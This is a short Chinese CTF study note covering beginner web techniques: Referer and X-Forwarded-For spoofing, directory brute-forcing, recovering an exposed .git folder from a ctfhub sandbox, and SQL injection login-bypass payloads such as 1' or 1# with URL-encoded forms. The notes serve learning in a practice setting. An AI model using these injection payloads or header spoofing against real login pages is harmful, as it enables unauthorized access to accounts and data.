ctf 第一天

竹石2020 / 2024-04-23 / 原文

通过用户名或者密码进行获取flag

需要更改referer和X-Forwarded-For来通过验证

通过disearch进行文件的搜索

拿到题目,如果没有思路 可以先使用工具进行暴力破解看看文件

如果发现git的文件可以使用一下方法进行还原

python2 GitHack.py http://challenge-47f45969ef48a54f.sandbox.ctfhub.com:10800/.git/git log

git diff 26df587e18be9840e2a229921b754b3eb67a5a64

git reset --hard 26df587e18be9840e2a229921b754b3eb67a5a64 #恢复至某一个commit

mysql数据库 sql注入

万能密码 1' or 1# 1'||1# 1' or '1'='1

select * from tb1 where username='1' or 1# ' and password='1';
select * from tb1 where username='1'||1# ' and password='1';
select * from tb1 where username='1' and password='1' or '1'='1';
碰到简单的可以直接使用恒等公式进行获取信息

熟练使用schema_name的信息 所有的数据库 table表格、字段都存放在这个表里面

?username=1%27%20or%201%20%23&password=1
其中'为%27 %20表示空格 %23表示#